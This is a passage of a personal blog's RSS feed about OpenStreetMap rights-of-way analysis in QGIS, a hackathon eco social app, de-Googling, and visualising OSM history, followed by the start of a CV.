target="_blank" rel="noreferrer noopener"
&gt;points along geometry&lt;/a&gt; tool to place points at a regular interval (I used 25m) on both the OSM and PRoW datasets. This is to ensure that straight sections of line still contain vertices, which is important for the next step of analysis.&lt;/li&gt;
&lt;li&gt;Employ the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectoranalysis.html#distance-to-nearest-hub-points"
target="_blank" rel="noreferrer noopener"
&gt;hub to hub distance&lt;/a&gt; tool to find the nearest node in OSM from each node in the PRoW, which is done by setting the PRoWs as the source, and OSM as the destination. We can&amp;rsquo;t use the &lt;a href="https://docs.qgis.org/3.16/en/docs/user_manual/processing_algs/qgis/vectorgeneral.html#qgisjoinbynearest"
target="_blank" rel="noreferrer noopener"
&gt;join attributes by nearest&lt;/a&gt; tool for this as it works based on line centeroids, which may be completely different in the datasets. For example, if a public footpath begins halfway up the length of a residential road and then they end at the same point, their centeroids will be quite far apart, despite their significant overlap and hence will not conflate.&lt;/li&gt;
&lt;li&gt;Add a virtual layer, I called mine &lt;code&gt;missing_prow_list&lt;/code&gt;. This will allow you to write arbitrary SQL to create a list of the missing PRoWs route codes. I ended up using something like the below &amp;ndash; this will select any rights of way which are on average more than 40m away from a &lt;code&gt;highway=*&lt;/code&gt; in OSM:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-SQL" data-lang="SQL"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; route_code, &lt;span style="color:#66d9ef"&gt;AVG&lt;/span&gt;(hub_to_hub_dist) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; avg_hub_dist,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; prow_dataset_distances
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;GROUP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;BY&lt;/span&gt; route_code
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;HAVING&lt;/span&gt; avg_hub_dist &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Use another virtual layer to get the actual geometries out of the original PRoW lines, using a join:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-SQL" data-lang="SQL"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SELECT&lt;/span&gt; route_code, designation, geometry
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;FROM&lt;/span&gt; prow_dataset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;INNER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;JOIN&lt;/span&gt; missing_prow_list
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ON&lt;/span&gt; missing_prow_list.route_code &lt;span style="color:#f92672"&gt;=&lt;/span&gt; prow_dataset.route_code
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Select your second virtual layer in QGIS and export it as a shapefile. This can then be imported into JOSM, or any editor of your choice, then manually merged into OpenStreetMap after being tagged up appropriately; hint, this is by far the hardest step.&lt;/li&gt;
&lt;li&gt;Job done :)&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_edec0f6bee120784.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_fd6ed5bcf3ca70fd.webp 320w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_3e784e450b21acd4.webp 640w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_6cb73c6b9d2af9b.webp 960w, https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_ed0be3a27620afdf.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/prow-completeness/images/missing-prows_hu_5e45b169f28f7003.jpg'
width="1608"
height="1173"
loading="lazy"
alt='Missing rights of ways in Dorset'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_8dbd43583f4e508.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_ece8ce2bfdd9c162.webp 320w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_e2ebd0bae11f8527.webp 640w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_9079e67d181a072c.webp 960w, https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_b03aa8d0df59d305.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/prow-completeness/images/heatmap_hu_5f3c2c9df2fac8e1.jpg'
width="1612"
height="1173"
loading="lazy"
alt='Heatmap of missing PRoWs'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;This method is not perfect as it will miss smaller footpaths (such as those that join two roads only a short distance apart) and hence it is more useful for rural areas. On the other hand it seems to rarely produce false positives.&lt;/p&gt;
&lt;p&gt;Ideally when OSM has further matured this will become simpler, as we could just compare the list of PRoW route codes to the &lt;code&gt;prow_ref=*&lt;/code&gt; tags. Unfortunately it seems a significant amount of PRoWs haven&amp;rsquo;t been given this tag yet, meaning it is not yet viable due to the number of false positives.&lt;/p&gt;
&lt;p&gt;Let me know if you have any ideas on how to compare OSM to other datasets :)&lt;/p&gt;</description></item><item><title>ecothon!</title><link>https://george.honeywood.org.uk/blog/ecothon/</link><pubDate>Fri, 12 Feb 2021 11:46:43 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/ecothon/</guid><description>&lt;h2 id="demo"&gt;demo&lt;/h2&gt;
&lt;p&gt;Last weekend I took part in a hackathon with 3 of my housemates. We decided to make a social network app that inspires people to live a more eco-concious lifestyle. It has a concept of achievements, which are simple changes or tasks that people can make to reduce their environmental impact.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_a6d4128abef763e7.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_2ad7640f3ca5be67.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_d58915b20846ec4f.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_91e14d23cc178031.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/achievement_hu_e48b325132cd527e.jpg'
width="1080"
height="1920"
alt='An example of an achievement'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can either privately complete an achievement, or publicly create a post linked to that specific achievement. Either of these will add to your &amp;ldquo;carbon score&amp;rdquo;, which is displayed on a leaderboard against people you are following.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_2e12b49f7c7830ff.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_bd4b5025d3e80a05.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_d3ade6ee20645276.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_53b6b6148c66ed63.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/leaderboard_hu_933b6976cc0960e6.jpg'
width="1062"
height="1035"
loading="lazy"
alt='Leaderboard comparing your achievements to others'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can also like and comment on posts, or view a map of where posts were made from. As you can see we don&amp;rsquo;t get out of the house much&amp;hellip;&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/map_hu_1c18a9a2b5777e59.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/map_hu_89d6029f5d55b3d.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/map_hu_726783ecdd33571b.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/map_hu_91c8f10dbb49069d.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/map_hu_b761d37b35585432.jpg'
width="1076"
height="1119"
loading="lazy"
alt='Map showing where posts were made from'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The app opens to a feed, showing all the posts that have been made in your area. These are normally associated with an image, but it is possible to make a post without one.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_9134e2a4025efcf6.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_23ff552125257324.webp 320w, https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_df6f47b9c4f183c6.webp 640w, https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_a14846acc9a655d4.webp 960w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style="width: 45%;"
src='https://george.honeywood.org.uk/blog/ecothon/images/feed_hu_33da8d7588f37ed6.jpg'
width="1080"
height="1920"
loading="lazy"
alt='Feed showing posts from your area'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;h2 id="how-it-works"&gt;how it works&lt;/h2&gt;
&lt;p&gt;The app itself was made using Flutter, a cross platform UI toolkit &amp;ndash; theoretically it should work on mobile, desktop and web. However we only tested it on Android, and I&amp;rsquo;m not sure quite how theoretical Flutter&amp;rsquo;s support for the others is.&lt;/p&gt;
&lt;p&gt;We made the backend in Go, using &lt;code&gt;go-fiber&lt;/code&gt; as a framework. None of us had properly used Go before and it was a good introduction to it. I really like it so far, other than having to get used to things that would take one line on Python take up 2 or more, to handle functions returning &lt;code&gt;error&lt;/code&gt; alongside their results. There is the obvious upside to this that you actually have to think about handling these errors, encouraging correct code. It also means Go is unencumbered by exceptions being thrown all over the place, part of why it is so fast.&lt;/p&gt;
&lt;p&gt;The backend is hosted on Digital Ocean, as I happened to have $100 of free credit. I set up Github actions to automatically build a docker image and push it to Digital Ocean&amp;rsquo;s container registry. The workflow then logs into their Kubernetes platform, deploying the new version by updating the config so that the latest push to &lt;code&gt;master&lt;/code&gt; is deployed.&lt;/p&gt;
&lt;p&gt;We run two nodes in the cluster, with traffic split between them using a load balancer (which is completely unnecessary for the level of traffic). User images are uploaded to their equivalent of S3, and the data is all stored in a MongoDB instance hosted by Atlas. As I&amp;rsquo;d never used it before, setting up Kubernetes was a fairly large learning curve, but tutorials like &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-deploy-resilient-go-app-digitalocean-kubernetes"
target="_blank" rel="noreferrer noopener"
&gt;this one&lt;/a&gt; really helped get us up and running fairly quickly.&lt;/p&gt;
&lt;h2 id="github-repository"&gt;github repository&lt;/h2&gt;
&lt;p&gt;You can see the repository &lt;a href="https://github.com/JoeRourke123/ecothon"
target="_blank" rel="noreferrer noopener"
&gt;here,&lt;/a&gt; or even try it out if you are feeling brave &amp;ndash; you can download an APK from the Github releases.&lt;/p&gt;</description></item><item><title>De-Googling myself</title><link>https://george.honeywood.org.uk/blog/de-googling/</link><pubDate>Wed, 09 Sep 2020 12:36:38 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/de-googling/</guid><description>&lt;p&gt;A couple of years ago I decided that it would be a great idea if I tried to remove as much Google from my life as possible. I think the reason behind this is that I was slightly afraid as to what Google was getting up to with my data, but also I enjoy fiddling with hosting my own stuff. Google&amp;rsquo;s expansive software graveyard isn&amp;rsquo;t exactly a big selling point either. Using Firefox was an obvious first step, as it works just as well as Chrome for me, and I think multiple different browser engines are an important part of keeping the web open and accessible for everyone.&lt;/p&gt;
&lt;p&gt;The easiest thing for me to give up was Google Search. One day I set DuckDuckGo to my default in Firefox and pretty much never had any problems with it. Very occasionally I&amp;rsquo;ll struggle to find something, and I&amp;rsquo;ll use the Google bang (&lt;code&gt;!g &amp;lt;search term&amp;gt;&lt;/code&gt;) to get there.&lt;/p&gt;
&lt;p&gt;The first big step in the purge was GMail. I can imagine for most people this would probably be the worst part, simply because changing your email address &amp;ndash; something you&amp;rsquo;ve probably been using for years &amp;ndash; is a massive pain. After some research I settled on FastMail as a provider, due to their support for wildcard addresses. I like to give each website/service I sign up for a different email, for example &lt;code&gt;reddit@example.com&lt;/code&gt; or &lt;code&gt;microsoft@example.com&lt;/code&gt; &amp;ndash; this means if a company decides to send me spam, all I have to do is to send all email for that address to the bin. Another benefit of this approach is that you can create mail sorting rules in a foolproof way, i.e. if a business starts to use another domain for its emails they will still make their way into their correct IMAP folders. Its not the cheapest service, and I don&amp;rsquo;t think paid email is for everyone, but it presents enough value for me (although I am considering moving to Migadu).&lt;/p&gt;
&lt;p&gt;Something that I&amp;rsquo;ve struggled with is Google Photos. Irritatingly this is probably the most invasive service that Google provides &amp;ndash; other than maybe the always-on location tracking. Its just so convenient for me, I use it to store all pictures ever taken my anyone&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; in my family. It also provides some piece of mind, just as another backup. I&amp;rsquo;d happily self host a solution like it, just as far as I know nothing quite like it exists yet.&lt;/p&gt;
&lt;p&gt;Plex has the ability to display photo libraries, but it feels like a bit of a second class feature compared to the meat of their product &amp;ndash; self hosting your film and television à la Netflix. Rather irritatingly the automatic photo upload feature is paywalled, but its not a massive problem as I use Syncthing to achieve a similar result. Apparently its syncing is a little half baked anyway. This has become a more pressing issue now that Google is going to start limiting uploads to Photos, even though it&amp;rsquo;ll probably take me a year or so to fill my quota.&lt;/p&gt;
&lt;p&gt;YouTube was also difficult. It would really make me happy to avoid it, but it currently has no real competitors, which I think is something that will become more of a problem in the years to come. I suppose the end goal is something like &lt;a href="https://peer.tube/"
target="_blank" rel="noreferrer noopener"
&gt;PeerTube&lt;/a&gt;, which is a federated streaming platform, with its own users providing a CDN for its content. However I&amp;rsquo;m not entirely sure that that model is sustainable enough to compete with a giant like Google, as the amount of storage required is still massive.&lt;/p&gt;
&lt;p&gt;With Android I have come to a compromise, using LineageOS instead of the stock ROM on my phone. I also much prefer using F-Droid whenever possible over the Google Play Store, but I haven&amp;rsquo;t gone as far to completely avoid Google Play Services yet. MicroG seems like a good solution, but I haven&amp;rsquo;t gotten round to testing it out yet.&lt;/p&gt;
&lt;p&gt;This is not something I&amp;rsquo;d recommend for everyone, simply because it is not really worth the struggle of detangling yourself from Google&amp;rsquo;s tentacles, unless its something that you really believe is important. I&amp;rsquo;ll probably update&lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt; this page eventually with my progress, which has rather depressingly slowed recently.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Even the slightly scary childhood videos&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;2021-02-22: I added sections about Google Photos alternatives&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Visualising OpenStreetMap changes at a macro scale</title><link>https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/</link><pubDate>Sun, 30 Aug 2020 12:17:38 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/</guid><description>&lt;h2 id="the-problem"&gt;the problem&lt;/h2&gt;
&lt;p&gt;One of the most satisfying things for me, as a contributor to OSM, is to see how my changes have improved the map for everyone. There currently are a number of ways to achieve this, which primarily focus on the micro level, for example a single changeset (such as &lt;a href="https://osmcha.org"
target="_blank" rel="noreferrer noopener"
&gt;OSMCha&lt;/a&gt;). These are very useful for checking for things like vandalism, and simply just showing what that changeset did to nodes, ways &amp;amp; relations. On the other hand, I&amp;rsquo;ve yet to find something that lets me see what has happened in an area over a greater time period.&lt;/p&gt;
&lt;h2 id="the-goal-with-hindsight"&gt;the goal (with hindsight&amp;hellip;)&lt;/h2&gt;
&lt;p&gt;In an ideal world, I can picture a screen with two maps, with one on top of the other, each with a date picker. There would be a slider which can be moved from one side to the other to show the differences between them. This layout is inspired by the currently out of service &lt;a href="https://mvexel.github.io/thenandnow/"
target="_blank" rel="noreferrer noopener"
&gt;OSM Then and Now&lt;/a&gt;, which goes some of the way towards a solution, but the data shown is too old to be useful for me.&lt;/p&gt;
&lt;h2 id="a-partial-solution"&gt;a partial solution&lt;/h2&gt;
&lt;h3 id="viability"&gt;viability&lt;/h3&gt;
&lt;p&gt;In OpenStreetMap people contribute through a system called changesets. These effectively group together a number of alterations (additions, edits, deletions) to the data structures of OSM, and can be thought of as analogous to &lt;code&gt;git&lt;/code&gt; commits. These changesets can then be combined in the order of their creation to create an up to date version of the database.&lt;/p&gt;
&lt;p&gt;Therefore, it is possible to recreate the database of any point in time by ignoring any changesets that were authored after that point, which can be done using a tool such as &lt;a href="https://osmcode.org/osmium-tool/"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;osmium&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="implementation"&gt;implementation&lt;/h3&gt;
&lt;p&gt;I followed a method similar to the one in &lt;a href="https://hackmd.io/XfrY334rS7CV0tnPzx8Wvw"
target="_blank" rel="noreferrer noopener"
&gt;this&lt;/a&gt; post, however, after filtering the history file to the desired time, I imported it into Postgres (using osm2psgl).&lt;/p&gt;
&lt;p&gt;Once I had everything in Postgres I first tried to use the &lt;a href="https://github.com/Zverik/Nik4"
target="_blank" rel="noreferrer noopener"
&gt;&lt;code&gt;nik4&lt;/code&gt;&lt;/a&gt; tool, which worked as described. However, it wasn&amp;rsquo;t really built for my usecase; for example, I had to manually create an image for each location I wanted to compare. It also wasn&amp;rsquo;t great for directly comparing old tiles to the current ones.&lt;/p&gt;
&lt;p&gt;Therefore, I decided that it&amp;rsquo;d be best to just create a full on slippy map, using the normal stack, a-la &lt;a href="https://switch2osm.org/serving-tiles/manually-building-a-tile-server-20-04-lts/"
target="_blank" rel="noreferrer noopener"
&gt;switch2osm&lt;/a&gt;. This gave me pretty much a full recreation of how the map at &lt;a href="https://openstreetmap.org"
target="_blank" rel="noreferrer noopener"
&gt;openstreetmap.org&lt;/a&gt; looked at the time period I picked.&lt;/p&gt;
&lt;p&gt;Using the Leaflet library to display these tiles, I followed an example from Mapbox on how you can overlay two different maps with a slider. I also added two pieces of text to illustrate which side was which.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_a5445f000f91c8a.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_51cfc02eb8776604.webp 320w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_b60029d3717a88db.webp 640w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_391cb41fa7e839d9.webp 960w, https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_1ffc1f6f8e89b5a4.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/visualising-large-scale-osm-changes/images/result_hu_4985e53ec689873b.jpg'
width="2000"
height="1241"
loading="lazy"
alt='Leaderboard'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;You can see the result at &lt;a href="https://maps.honeyfox.uk"
target="_blank" rel="noreferrer noopener"
&gt;https://maps.honeyfox.uk&lt;/a&gt; (which only works for the UK). This will likely be very impermanent, as I don&amp;rsquo;t really have the means to host it &amp;ndash; the database and tileserver are currently on my desktop PC, with an SSH tunnel up to my VPS.&lt;/p&gt;
&lt;h3 id="failures"&gt;failures&lt;/h3&gt;
&lt;p&gt;This solution partially meets my goal. Ideally you&amp;rsquo;d be able to set the specific date that each side of the map displayed, but as far as I&amp;rsquo;m aware there is no way to achieve that without having to drop the database and re-import everything from the other time period. The map stack I&amp;rsquo;m using (postgres/postgis/mapnik/renderd/mod_tile/apache2 - bit of a mouthful) isn&amp;rsquo;t really designed to display anything but the latest version of the data, as typically that&amp;rsquo;s all you&amp;rsquo;d really need.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;conclusion&lt;/h2&gt;
&lt;p&gt;I think this would be a valuable tool to help motivate contributors if the implementation was improved. I&amp;rsquo;d really appreciate any suggestions or advice on how to achieve this.&lt;/p&gt;
&lt;h2 id="late-2022-update"&gt;late 2022 update&lt;/h2&gt;
&lt;p&gt;In July 2021, I made some upgrades to this demo, but never got round to updating this post. It is still running at &lt;a href="https://osm-history.george.honeywood.org.uk"
target="_blank" rel="noreferrer noopener"
&gt;https://osm-history.george.honeywood.org.uk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Instead of showing just one set of old tiles, it shows the state every year between 2007 and 2022. As rendering the tiles live requires a beefy server, I used a script to download the tiles for each year I wanted, making everything static. This only works because I only wanted to render a relatively small area &amp;ndash; when you increase the area, the amount of tiles you need to download grows exponentially. This demo is now just a bunch of &lt;code&gt;$year/$z/$x/$y.png&lt;/code&gt;s I serve using nginx on my little VPS.&lt;/p&gt;
&lt;p&gt;Departing from the technical details, you can see my contributions begin in 2019. My initial prompt to start editing OSM was that a new build estate near my house was missing from the map (you can see it appear &lt;a href="https://osm-history.george.honeywood.org.uk/#17/50.78814/-1.90129"
target="_blank" rel="noreferrer noopener"
&gt;here&lt;/a&gt; in 2019).&lt;/p&gt;
&lt;p&gt;In some years there aren&amp;rsquo;t many changes. In others a lot of stuff is changed &amp;ndash; between 2010 and 2011, all the roads and residential areas were added. From then all is quiet until 2018, when most of the houses were drawn in. Someone&lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; gave &lt;a href="https://osm-history.george.honeywood.org.uk/#16/50.7994/-1.8767"
target="_blank" rel="noreferrer noopener"
&gt;Ferndown Golf Club&lt;/a&gt; an excellent makeover in 2022, adding all the hole numbers, greens, fairways and bunkers. I can and have spent ages looking at this visualization. Something about it is extremely satisfying to me.&lt;/p&gt;
&lt;p&gt;One day I hope to make something like this that can scale up globally, or at least to a national scale.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I would never map something like this myself. This is part of the beauty of OSM &amp;ndash; people map the things they care about. I&amp;rsquo;d never map a golf course partially because I know nothing about golf, and partially because I vaguely disapprove of it as a landuse. There are currently three 18-hole courses within 3 km of my parent&amp;rsquo;s house (there used to be 4!).&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>This blog</title><link>https://george.honeywood.org.uk/blog/this-blog/</link><pubDate>Sat, 29 Aug 2020 19:08:45 +0100</pubDate><guid>https://george.honeywood.org.uk/blog/this-blog/</guid><description>&lt;p&gt;I&amp;rsquo;m going to use this blog to write about random things I care about. It may or may not turn out well &amp;ndash; it must have gone at least a little well if you are reading this.&lt;/p&gt;
&lt;p&gt;For anyone interested, this website is created using Hugo, which is a static site generator. I used to have a blog made using Wordpress, which was a bit overkill for my needs and I got bored of writing stuff for it about a month in, so it died the slow death that I&amp;rsquo;m sure this one will have to endure. Hugo seems to be a much more elegant solution for this, and I like being able to write all my stuff in VSCode, keep it safe in my own git repo, and avoid having to host &lt;em&gt;another&lt;/em&gt; database.&lt;/p&gt;
&lt;p&gt;To be fair to Wordpress, setting it up when I was 15 was a good learning experience. I somehow managed to fumble through the instructions, probably leaving some fairly large security holes behind me. I think a version of it might still be in the Wayback Machine if you ever have the unpleasant experience of stumbling upon it.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll see where this goes I guess ~&lt;/p&gt;</description></item><item><title>CV</title><link>https://george.honeywood.org.uk/cv/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://george.honeywood.org.uk/cv/</guid><description>
&lt;div&gt;
&lt;h2&gt;George Honeywood&lt;/h2&gt;
&lt;p&gt;Computer Scientist, Royal Holloway graduate. Currently working as an Infrastructure Assistant at GSA Capital.&lt;/p&gt;
&lt;p&gt;(CV also available as &lt;em&gt;&lt;a href="../georgehoneywood-cv.pdf"&gt;a PDF&lt;/a&gt;&lt;/em&gt;.)&lt;/p&gt;
&lt;h3&gt;Experience&lt;/h3&gt;
&lt;h4&gt;Infrastructure Assistant&lt;br&gt;&lt;/h4&gt;
&lt;div class="name"&gt;&lt;em&gt;GSA Capital&lt;/em&gt;&lt;/div&gt;
&lt;div style="display: flex; align-items: center; gap: 10px;"&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2023 — Present&lt;/div&gt;
